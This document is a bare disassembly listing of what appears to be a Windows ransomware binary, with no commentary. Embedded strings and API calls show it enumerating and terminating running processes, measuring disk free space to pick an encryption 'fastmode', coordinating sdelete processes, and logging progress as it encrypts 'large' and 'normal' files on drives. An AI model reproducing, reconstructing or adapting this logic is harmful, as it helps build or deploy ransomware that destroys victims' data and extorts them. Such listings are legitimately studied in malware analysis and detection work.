test byte [rsp + 0x8d8], 1
je 0x14000c6bb
mov rcx, qword [rsp + 0x8e8]
call fcn.140073240
test byte [rsp + 0x490], 1
je 0x14000c6c9
mov rcx, qword [rsp + 0x4a0]
call fcn.140073240
test byte [rsp + 0xd0], 1
je 0x14000c6d7
mov rcx, qword [rsp + 0xe0]
call fcn.140073240
test byte [rsp + 0x910], 1
je 0x14000c6e5
mov rcx, qword [rsp + 0x920]
call fcn.140073240
test byte [rsp + 0x170], 1
je 0x14000c6f3
mov rcx, qword [rsp + 0x180]
call fcn.140073240
test byte [rsp + 0xf0], 1
je 0x14000c701
mov rcx, qword [rsp + 0x100]
call fcn.140073240
test byte [rsp + 0x928], 1
je 0x14000c70f
mov rcx, qword [rsp + 0x938]
call fcn.140073240
test byte [rsp + 0x200], 1
je 0x14000c71d
mov rcx, qword [rsp + 0x210]
call fcn.140073240
test byte [rsp + 0x2b0], 1
je 0x14000c72b
mov rcx, qword [rsp + 0x2c0]
call fcn.140073240
test byte [rsp + 0x2f0], 1
je 0x14000c739
mov rcx, qword [rsp + 0x300]
call fcn.140073240
test byte [rsp + 0x470], 1
je 0x14000c747
mov rcx, qword [rsp + 0x480]
call fcn.140073240
test byte [rsp + 0x768], 1
je 0x14000c755
mov rcx, qword [rsp + 0x778]
call fcn.140073240
test r12b, 1
jne 0x14000c75f
mov rbp, qword [rsp + 0x1a8]
lea rax, [rsp + 0x1b0]
cmp rbp, rax
je 0x14000ce9d
lea rsi, [rsp + 0xb0]
pxor xmm6, xmm6
jmp 0x14000ca1e
mov rbp, rax
lea rcx, [rsp + 0x1b0]
cmp rax, rcx
je 0x14000ce9d
mov rdx, qword [rbp + 0x28]
cmp qword [rbp + 0x30], rdx
je 0x14000cafe
xor r13d, r13d
xor r15d, r15d
xor r14d, r14d
jmp 0x14000ca67
add r14, rdi
inc r15
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
sub rax, rdx
sar rax, 3
movabs rcx, 0xaaaaaaaaaaaaaaab
imul rax, rcx
add r13, 0x18
cmp r15, rax
jae 0x14000cb01
add rdx, r13
lea rcx, [rsp + 0xed0]
lea r8, [0x140259684]
call fcn.1400139a0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0x1d8], 0
test byte [rsp + 0xed0], 1
lea rcx, [rsp + 0xed2]
je 0x14000cab0
mov rcx, qword [rsp + 0xee0]
xor edx, edx
lea r8, [rsp + 0x1d8]
mov r9, rsi
call qword [sym.imp.KERNEL32.DLL_GetDiskFreeSpaceExW]
mov rcx, qword [rsp + 0x1d8]
sub rcx, qword [rsp + 0xb0]
test eax, eax
mov edi, 0
cmovne rdi, rcx
test byte [rsp + 0xed0], 1
je 0x14000ca37
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
jmp 0x14000ca37
xor r14d, r14d
shr r14, 0x1e
mov rcx, rsi
mov rdx, r14
call fcn.140076a80
mov rcx, rsi
lea rdx, str.GB_
call fcn.140075640
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x430]
lea rdx, [rsp + 0xed0]
call fcn.140018ca0
test byte [rsp + 0xed0], 1
je 0x14000cb70
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0xb0], 1
je 0x14000cb87
mov rcx, qword [rsp + 0xc0]
call fcn.140073240
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x14000cba0
mov rax, rcx
mov rcx, qword [rcx]
test rcx, rcx
jne 0x14000cb90
jmp 0x14000ca0a
mov rax, qword [rbp + 0x10]
cmp qword [rax], rbp
mov rbp, rax
jne 0x14000cba0
jmp 0x14000ca0a
xor eax, eax
mov qword [rsp + 0x1f0], rax
lea rsi, [rsp + 0xb0]
jmp 0x14000cbd9
mov rdi, rax
lea rcx, [rsp + 0x1b0]
cmp rax, rcx
je 0x14000cd0d
mov eax, dword [rdi + 0x20]
cmp eax, dword [rsp + 0x23c]
je 0x14000cce3
mov rdx, qword [rdi + 0x28]
cmp qword [rdi + 0x30], rdx
je 0x14000ccc9
xor r14d, r14d
xor r15d, r15d
xor r13d, r13d
jmp 0x14000cc32
add r13, rbp
inc r15
mov rdx, qword [rdi + 0x28]
mov rax, qword [rdi + 0x30]
sub rax, rdx
sar rax, 3
movabs rcx, 0xaaaaaaaaaaaaaaab
imul rax, rcx
add r14, 0x18
cmp r15, rax
jae 0x14000cccc
add rdx, r14
lea rcx, [rsp + 0xed0]
lea r8, [0x140259684]
call fcn.1400139a0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0x1d8], 0
test byte [rsp + 0xed0], 1
lea rcx, [rsp + 0xed2]
je 0x14000cc7b
mov rcx, qword [rsp + 0xee0]
xor edx, edx
lea r8, [rsp + 0x1d8]
mov r9, rsi
call qword [sym.imp.KERNEL32.DLL_GetDiskFreeSpaceExW]
mov rcx, qword [rsp + 0x1d8]
sub rcx, qword [rsp + 0xb0]
test eax, eax
mov ebp, 0
cmovne rbp, rcx
test byte [rsp + 0xed0], 1
je 0x14000cc02
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
jmp 0x14000cc02
xor r13d, r13d
mov rax, qword [rsp + 0x1f0]
cmp r13, rax
cmova rax, r13
mov qword [rsp + 0x1f0], rax
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14000ccfc
mov rax, rcx
mov rcx, qword [rcx]
test rcx, rcx
jne 0x14000ccec
jmp 0x14000cbc5
mov rax, qword [rdi + 0x10]
cmp qword [rax], rdi
mov rdi, rax
jne 0x14000ccfc
jmp 0x14000cbc5
mov ecx, dword [0x1402d7218]
movabs rdx, 0xaec33e1f671529a5
mov rax, qword [rsp + 0x1f0]
mul rdx
mov rax, rdx
shr rax, 0x1f
movsxd r8, ecx
mov rdx, rax
or rdx, r8
shr rdx, 0x20
jne 0x14000cd44
xor edx, edx
div ecx
jmp 0x14000cd49
xor edx, edx
div r8
mov byte [0x1402da474], al
movzx edx, al
lea rcx, [rsp + 0x1d8]
call fcn.140076c20
lea r8, str.autofastmode_calcuated_fastmode
lea rcx, [rsp + 0x1d8]
xor edx, edx
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xc0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xb0], xmm0
pxor xmm6, xmm6
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, str._for_harddisks
lea rcx, [rsp + 0xb0]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xb0], 1
jne 0x14000cdf7
test byte [rsp + 0x1d8], 1
jne 0x14000ce0e
test byte [rsp + 0x2ec], 1
je 0x14000ce25
jmp 0x14000ce46
mov rcx, qword [rsp + 0xc0]
call fcn.140073240
test byte [rsp + 0x1d8], 1
je 0x14000cdeb
mov rcx, qword [rsp + 0x1e8]
call fcn.140073240
test byte [rsp + 0x2ec], 1
jne 0x14000ce46
movzx eax, byte [0x1402da474]
mov byte [0x1402da4b0], al
lea rdx, str.and_netowrk__based_on_harddisk_space___specify__networkfastmodeX:Y__if_you_want_special_fastmode_seetting_for_network_resources
lea rcx, [rsp + 0xed0]
call fcn.140076360
test byte [rsp + 0xed0], 1
je 0x14000ce5a
mov rcx, qword [rsp + 0xee0]
jmp 0x14000ce62
lea rcx, [rsp + 0xed2]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0xed0], 1
je 0x14000ce80
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
mov r13, qword [rsp + 0x1a8]
mov qword [rsp + 0x1d8], r13
lea rax, [rsp + 0x1b0]
cmp r13, rax
jne 0x14000cef9
movzx edx, byte [rsp + 0x430]
mov rax, rdx
shr rax, 1
test dl, 1
cmovne rax, qword [rsp + 0x438]
mov r8, qword [rsp + 0x440]
lea rcx, [rsp + 0x431]
mov r9, r8
cmove r9, rcx
cmp byte [r9 + rax - 1], 0x2b
jne 0x14000d217
dec rax
test dl, 1
jne 0x14000d20a
lea edx, [rax + rax]
mov byte [rsp + 0x430], dl
mov byte [rcx + rax], 0
jmp 0x14000d217
lea rdi, [rsp + 0xed0]
pxor xmm6, xmm6
jmp 0x14000cf23
mov qword [rsp + 0x1d8], rax
mov r13, rax
lea rcx, [rsp + 0x1b0]
cmp rax, rcx
je 0x14000ce9d
mov eax, dword [r13 + 0x20]
cmp eax, dword [rsp + 0x23c]
jne 0x14000cfc5
cmp byte [rsp + 0x8e], 0
jne 0x14000d1e0
mov byte [rsp + 0x3b0], 1
lea rax, [rsp + 0x820]
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
mov rcx, rdi
lea rdx, [rsp + 0x110]
lea r8, [rsp + 0x1d8]
lea r9, [rsp + 0x3b0]
call fcn.140018ba0
mov rax, qword [rsp + 0x458]
cmp rax, qword [rsp + 0x460]
jae 0x14000d1c8
mov rcx, qword [rsp + 0xed0]
mov qword [rax], rcx
mov qword [rsp + 0xed0], 0
add rax, 8
mov qword [rsp + 0x458], rax
jmp 0x14000d1d8
mov rdx, qword [r13 + 0x28]
cmp qword [r13 + 0x30], rdx
je 0x14000d0a4
xor ebp, ebp
xor esi, esi
xor r15d, r15d
jmp 0x14000d00c
add r15, r14
inc rsi
mov rdx, qword [r13 + 0x28]
mov rax, qword [r13 + 0x30]
sub rax, rdx
sar rax, 3
movabs rcx, 0xaaaaaaaaaaaaaaab
imul rax, rcx
add rbp, 0x18
cmp rsi, rax
jae 0x14000d0a7
add rdx, rbp
mov rcx, rdi
lea r8, [0x140259684]
call fcn.1400139a0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0x3b0], 0
test byte [rsp + 0xed0], 1
lea rcx, [rsp + 0xed2]
je 0x14000d050
mov rcx, qword [rsp + 0xee0]
xor edx, edx
lea r8, [rsp + 0x3b0]
lea r9, [rsp + 0xb0]
call qword [sym.imp.KERNEL32.DLL_GetDiskFreeSpaceExW]
mov rcx, qword [rsp + 0x3b0]
sub rcx, qword [rsp + 0xb0]
test eax, eax
mov r14d, 0
cmovne r14, rcx
test byte [rsp + 0xed0], 1
je 0x14000cfdc
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
jmp 0x14000cfdc
xor r15d, r15d
mov byte [rsp + 0x3b0], 0
lea rax, [rsp + 0x800]
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
mov rcx, rdi
lea rdx, [rsp + 0x110]
lea r8, [rsp + 0x1d8]
lea r9, [rsp + 0x3b0]
call fcn.140018ba0
mov rax, qword [rsp + 0x7e8]
cmp rax, qword [rsp + 0x7f0]
jae 0x14000d123
mov rcx, qword [rsp + 0xed0]
mov qword [rax], rcx
mov qword [rsp + 0xed0], 0
add rax, 8
mov qword [rsp + 0x7e8], rax
jmp 0x14000d133
lea rcx, [rsp + 0x7e0]
mov rdx, rdi
call fcn.140036680
mov rcx, rdi
call fcn.140077da0
shr r15, 0x1e
lea rcx, [rsp + 0xb0]
mov rdx, r15
call fcn.140076a80
lea rcx, [rsp + 0xb0]
lea rdx, str.GB_
call fcn.140075640
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x430]
mov rdx, rdi
call fcn.140018ca0
test byte [rsp + 0xed0], 1
je 0x14000d1af
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0xb0], 1
je 0x14000d1e0
mov rcx, qword [rsp + 0xc0]
call fcn.140073240
jmp 0x14000d1e0
lea rcx, [rsp + 0x450]
mov rdx, rdi
call fcn.140036680
mov rcx, rdi
call fcn.140077da0
mov rcx, qword [r13 + 8]
test rcx, rcx
je 0x14000d1f9
mov rax, rcx
mov rcx, qword [rcx]
test rcx, rcx
jne 0x14000d1e9
jmp 0x14000cf07
mov rax, qword [r13 + 0x10]
cmp qword [rax], r13
mov r13, rax
jne 0x14000d1f9
jmp 0x14000cf07
mov qword [rsp + 0x438], rax
mov byte [r8 + rax], 0
lea rcx, [rsp + 0x1d8]
call fcn.140051540
lea r8, [0x14025bd13]
lea rcx, [rsp + 0x1d8]
xor edx, edx
call fcn.140075130
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xc0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xb0], xmm0
pxor xmm6, xmm6
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x14025bd13]
lea rcx, [rsp + 0xb0]
call fcn.140075640
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x430]
lea rdx, [rsp + 0xed0]
call fcn.140018ca0
test byte [rsp + 0xed0], 1
jne 0x14000d356
test byte [rsp + 0xb0], 1
jne 0x14000d371
test byte [rsp + 0x1d8], 1
je 0x14000d2e4
mov rcx, qword [rsp + 0x1e8]
call fcn.140073240
lea rdx, str._r_nList_Runing_Process__r_n
lea rcx, [rsp + 0x430]
call fcn.140075640
mov dword [rsp + 0x3b0], 0
mov ecx, 0x320
call sub.msvcrt.dll_malloc
mov r14, rax
mov edi, 0x320
lea rsi, [rsp + 0x3b0]
mov rcx, r14
mov edx, edi
mov r8, rsi
call sub.PSAPI.DLL_EnumProcesses
mov r13d, dword [rsp + 0x3b0]
cmp r13d, edi
jb 0x14000d391
test r13, r13
lea r15d, [r13 + r13*2]
cmove r15d, edi
mov rcx, r14
mov rdx, r15
call sub.msvcrt.dll_realloc
mov r14, rax
mov edi, r15d
jmp 0x14000d31d
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0xb0], 1
je 0x14000d2cd
mov rcx, qword [rsp + 0xc0]
call fcn.140073240
test byte [rsp + 0x1d8], 1
jne 0x14000d2d7
jmp 0x14000d2e4
cmp r13d, 4
jae 0x14000d44d
mov rcx, r14
call fcn.140257dd0
lea rdx, str.ibyc
lea rcx, [rsp + 0xb48]
call fcn.140012b20
mov r9d, dword [0x1402da468]
lea rcx, [rsp + 0x430]
lea rdx, [rsp + 0xb48]
mov r8b, 0x6f
call fcn.140018cd0
test byte [rsp + 0xb48], 1
je 0x14000d3ed
mov rcx, qword [rsp + 0xb58]
call fcn.140073240
mov r13, qword [rsp + 0x1a8]
lea rax, [rsp + 0x1b0]
cmp r13, rax
jne 0x14000d535
mov eax, r12d
and al, 1
or al, byte [rsp + 0x6c]
setne bpl
cmp byte [0x1402da568], 0
je 0x14000d436
test bpl, bpl
je 0x14000d436
lea rcx, [rsp + 0x4f0]
lea rdx, [rsp + 0x3d0]
call fcn.140057e50
mov rsi, qword [0x1402da5e0]
test rsi, rsi
jne 0x14000d73f
xor edi, edi
jmp 0x14000d7ef
shr r13, 2
xor ebp, ebp
mov rsi, qword [sym.imp.KERNEL32.DLL_OpenProcess]
lea r15, [rsp + 0xed0]
lea rdi, [rsp + 0x1d8]
pxor xmm6, xmm6
jmp 0x14000d47c
inc rbp
cmp r13, rbp
je 0x14000d39b
mov r8d, dword [r14 + rbp*4]
mov ecx, 0x410
xor edx, edx
call rsi
lea rcx, [rax + 1]
cmp rcx, 2
jb 0x14000d470
mov rcx, rax
xor edx, edx
mov r8, r15
mov r9d, 0x190
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x14000d470
mov rcx, rdi
mov rdx, r15
call fcn.140012b20
mov rcx, rdi
lea rdx, [0x14025bd13]
call fcn.140075640
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xc0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xb0], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x430]
lea rdx, [rsp + 0xb0]
call fcn.140018ca0
test byte [rsp + 0xb0], 1
je 0x14000d515
mov rcx, qword [rsp + 0xc0]
call fcn.140073240
test byte [rsp + 0x1d8], 1
je 0x14000d470
mov rcx, qword [rsp + 0x1e8]
call fcn.140073240
jmp 0x14000d470
xor eax, eax
mov qword [rsp + 0x1f0], rax
pxor xmm6, xmm6
lea r14, [rsp + 0xb0]
lea r15, [rsp + 0xed0]
jmp 0x14000d569
mov r13, rax
lea rcx, [rsp + 0x1b0]
cmp rax, rcx
je 0x14000d406
cmp byte [rsp + 0x8e], 0
je 0x14000d584
mov eax, dword [r13 + 0x20]
cmp eax, dword [rsp + 0x23c]
je 0x14000d715
movdqa xmmword [rsp + 0xed0], xmm6
mov qword [rsp + 0xee0], 0
mov rax, qword [rsp + 0x4f8]
cmp rax, qword [rsp + 0x500]
jae 0x14000d5c5
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
add rax, 0x18
mov qword [rsp + 0x4f8], rax
jmp 0x14000d5ec
lea rcx, [rsp + 0x4f0]
mov rdx, r15
call fcn.140035a30
test byte [rsp + 0xed0], 1
je 0x14000d5ec
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
mov rdx, qword [r13 + 0x28]
mov rax, qword [r13 + 0x30]
cmp rax, rdx
je 0x14000d703
movsxd rbp, dword [rsp + 0x1f0]
xor esi, esi
xor edi, edi
jmp 0x14000d63b
mov rdx, qword [r13 + 0x28]
mov rax, qword [r13 + 0x30]
inc rdi
mov rcx, rax
sub rcx, rdx
sar rcx, 3
movabs r8, 0xaaaaaaaaaaaaaaab
imul rcx, r8
add rsi, 0x18
cmp rdi, rcx
jae 0x14000d703
movzx ecx, byte [rdx + rsi]
test cl, 1
je 0x14000d64b
mov rcx, qword [rdx + rsi + 8]
jmp 0x14000d64e
shr rcx, 1
cmp rcx, 6
jne 0x14000d613
add rdx, rsi
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x20], rax
mov r8d, 4
mov rcx, r14
mov r9, 0xffffffffffffffff
call fcn.140075cf0
mov rcx, r14
lea rdx, [0x1402595f8]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rbp*2]
add rcx, rbp
shl rcx, 3
add rcx, qword [rsp + 0x4f0]
mov rdx, r15
call fcn.140013c20
test byte [rsp + 0xed0], 1
je 0x14000d6e3
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0xb0], 1
je 0x14000d60b
mov rcx, qword [rsp + 0xc0]
call fcn.140073240
jmp 0x14000d60b
mov rax, qword [rsp + 0x1f0]
inc eax
mov qword [rsp + 0x1f0], rax
mov rcx, qword [r13 + 8]
test rcx, rcx
je 0x14000d72e
mov rax, rcx
mov rcx, qword [rcx]
test rcx, rcx
jne 0x14000d71e
jmp 0x14000d555
mov rax, qword [r13 + 0x10]
cmp qword [rax], r13
mov r13, rax
jne 0x14000d72e
jmp 0x14000d555
mov rdi, qword [sym.imp.msvcrt.dll__time64]
mov r14, qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
jmp 0x14000d75d
cmp eax, 0x102
je 0x14000d7a5
mov rsi, qword [0x1402da5e0]
xor ecx, ecx
call rdi
cmp rsi, rax
jle 0x14000d7a5
mov rsi, qword [0x1402da5d8]
mov r15, qword [0x1402da5e0]
xor ecx, ecx
call rdi
sub r15d, eax
imul edx, r15d, 0x3e8
mov rcx, rsi
call r14
test eax, eax
jne 0x14000d74f
mov rsi, qword [0x1402da5e0]
xor ecx, ecx
call rdi
cmp rsi, rax
jg 0x14000d756
cmp byte [0x1402da568], 0
jne 0x14000d7a9
xor edi, edi
jmp 0x14000d7d9
mov rsi, qword [rsp + 0x3d0]
mov r14, qword [rsp + 0x3d8]
mov dil, 1
cmp rsi, r14
je 0x14000d7d9
mov r15, qword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov rcx, qword [rsi]
xor edx, edx
call r15
add rsi, 8
cmp rsi, r14
jne 0x14000d7c8
mov byte [rsp + 0x16f], 1
lea rcx, str.start_time_reached___starting_encryption
mov dl, 1
call fcn.140011c60
cmp byte [0x1402da568], 0
setne al
and al, bpl
cmp al, 1
jne 0x14000d98b
mov rdx, qword [rsp + 0x3d0]
lea r8, [0x1402da5d8]
lea rcx, [rsp + 0x3d0]
call fcn.140019db0
movabs r15, 0x100000000
mov r13, qword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
lea rax, str.start_time_reached_starting_encryption__sdeletefirst_option_was_used__sdelete_process_were_killed_to_now_slow_down_encryption___if_nosdlete_option_is_not_used__sdelete_will_run_again_after_encyption
mov qword [rsp + 0x1f0], rax
mov rbp, qword [sym.imp.msvcrt.dll__time64]
add r15d, 0xfffffc18
mov rsi, qword [0x1402da5e0]
test rsi, rsi
je 0x14000d867
xor ecx, ecx
call rbp
cmp rsi, rax
jl 0x14000d96e
mov rax, qword [rsp + 0x3d8]
sub rax, qword [rsp + 0x3d0]
cmp rax, 9
jb 0x14000d96e
mov r14, qword [0x1402da5e0]
test r14, r14
je 0x14000d8ae
xor ecx, ecx
call rbp
mov esi, 0x186a0
cmp r14, rax
jle 0x14000d8b3
mov rsi, qword [0x1402da5e0]
xor ecx, ecx
call rbp
imul eax, r15d
add esi, eax
jmp 0x14000d8b3
mov esi, 0xffffffff
mov rdx, qword [rsp + 0x3d0]
mov rcx, qword [rsp + 0x3d8]
sub rcx, rdx
shr rcx, 3
xor r8d, r8d
mov r9d, esi
call r13
test eax, eax
je 0x14000d84e
cmp eax, 0x102
je 0x14000d95f
test dil, dil
jne 0x14000d95f
mov eax, eax
mov rdx, qword [rsp + 0x3d0]
mov rsi, qword [rsp + 0x3d8]
mov rcx, rsi
sub rcx, rdx
sar rcx, 3
cmp rcx, rax
jbe 0x14000d950
lea rcx, [rdx + rax*8]
lea rdx, [rdx + rax*8]
add rdx, 8
mov r8, rsi
sub r8, rdx
call sub.msvcrt.dll_memmove
add rsi, 0xfffffffffffffff8
mov qword [rsp + 0x3d8], rsi
sub rsi, qword [rsp + 0x3d0]
cmp rsi, 8
jne 0x14000d84e
lea rcx, str.sdelete_finished
mov dl, 1
call fcn.140011c60
jmp 0x14000d84e
lea rax, str.waiting_on_sdelete_process_failed
mov qword [rsp + 0x1f0], rax
mov rcx, qword [rsp + 0x1f0]
mov dl, 1
call fcn.140011c60
mov rdi, qword [rsp + 0x3d0]
mov r14, qword [rsp + 0x3d8]
cmp rdi, r14
jne 0x14000d9bc
mov byte [rsp + 0xce], 1
mov rsi, qword [rsp + 0x7e0]
mov rdi, qword [rsp + 0x7e8]
jmp 0x14000d9a1
add rsi, 8
cmp rsi, rdi
je 0x14000d9f1
mov rcx, rsi
call fcn.14001a170
test al, al
je 0x14000d99d
mov rcx, rsi
call fcn.140077dc0
jmp 0x14000d99d
mov r15, qword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov r13, qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x14000d9d5
add rdi, 8
cmp rdi, r14
je 0x14000d983
mov rsi, qword [rdi]
cmp rsi, qword [0x1402da5d8]
je 0x14000d9cc
mov rcx, rsi
xor edx, edx
call r15
mov rcx, rsi
call r13
jmp 0x14000d9cc
test byte [rsp + 0x6b], 1
je 0x14000daa2
cmp byte [0x1402da5e8], 0
jne 0x14000dad7
test r12b, 1
je 0x14000e523
cmp dword [rsp + 0xc8], 0xffffffff
je 0x14000e523
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0xb0]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea r8, str.started_encrypting_defered_files_on__windrive
lea rcx, [rsp + 0xb0]
xor edx, edx
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x14000dae2
mov rcx, qword [rsp + 0xee0]
jmp 0x14000daea
mov rsi, qword [rsp + 0x450]
mov rdi, qword [rsp + 0x458]
jmp 0x14000dab8
add rsi, 8
cmp rsi, rdi
je 0x14000d9fc
mov rcx, rsi
call fcn.14001a170
test al, al
je 0x14000dab4
mov rcx, rsi
call fcn.140077dc0
jmp 0x14000dab4
mov ecx, 0x1b4c
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
lea rcx, [rsp + 0xed2]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0xed0], 1
je 0x14000db08
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0xb0], 1
je 0x14000db1f
mov rcx, qword [rsp + 0xc0]
call fcn.140073240
cmp byte [0x14029c030], 0
movsxd rax, dword [rsp + 0xc8]
mov rcx, qword [0x1402da2e0]
lea rax, [rax + rax*2]
mov rsi, qword [rcx + rax*8]
jne 0x14000dc69
lea rdx, str.larges
lea rcx, [rsp + 0xae8]
call fcn.140012a70
add rsi, 0x48
mov r8d, dword [0x14029c044]
mov eax, dword [rsp + 0xc8]
movsxd rcx, dword [0x14029c050]
lea rdi, [0x1402db948]
mov qword [rsp + 0x58], rdi
lea r14, [0x1402da470]
mov qword [rsp + 0x50], r14
lea r15, [0x1402da474]
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 5
mov byte [rsp + 0x28], 3
lea rdx, [rsp + 0xae8]
mov rcx, rsi
mov r9d, 1
call fcn.14001a190
test byte [rsp + 0xae8], 1
je 0x14000dbe1
mov rcx, qword [rsp + 0xaf8]
call fcn.140073240
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0xb0]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea r8, str.finished_encrypting_vlrges_on_defered_windrive
lea rcx, [rsp + 0xb0]
xor edx, edx
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x14000dda5
mov rcx, qword [rsp + 0xee0]
jmp 0x14000ddad
lea rax, [rsp + 0xed0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0xb30]
mov r8d, 4
mov r9d, 1
call fcn.140075cf0
add rsi, 0x18
mov r8d, dword [0x14029c044]
mov eax, dword [rsp + 0xc8]
movsxd rcx, dword [0x14029c050]
lea rdi, [0x1402db948]
mov qword [rsp + 0x58], rdi
lea r14, [0x1402da470]
mov qword [rsp + 0x50], r14
lea r15, [0x1402da474]
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0x14
mov byte [rsp + 0x28], 1
lea rdx, [rsp + 0xb30]
mov rcx, rsi
xor r9d, r9d
call fcn.14001a190
test byte [rsp + 0xb30], 1
je 0x14000dd1d
mov rcx, qword [rsp + 0xb40]
call fcn.140073240
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0xb0]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea r8, str.finished_encrypting_normalls_on_defered_windrive
lea rcx, [rsp + 0xb0]
xor edx, edx
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x14000df0a
mov rcx, qword [rsp + 0xee0]
jmp 0x14000df12
lea rcx, [rsp + 0xed2]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0xed0], 1
je 0x14000ddcb
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0xb0], 1
je 0x14000dde2
mov rcx, qword [rsp + 0xc0]
call fcn.140073240
movsxd rax, dword [rsp + 0xc8]
mov rcx, qword [0x1402da2e0]
lea rax, [rax + rax*2]
mov rsi, qword [rcx + rax*8]
lea rdx, str.larges
lea rcx, [rsp + 0xad0]
call fcn.140012a70
add rsi, 0x30
mov r8d, dword [0x14029c044]
mov eax, dword [rsp + 0xc8]
movsxd rcx, dword [0x14029c050]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 5
mov byte [rsp + 0x28], 2
lea rdx, [rsp + 0xad0]
mov rcx, rsi
mov r9d, 1
call fcn.14001a190
test byte [rsp + 0xad0], 1
je 0x14000de82
mov rcx, qword [rsp + 0xae0]
call fcn.140073240
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x20], rax
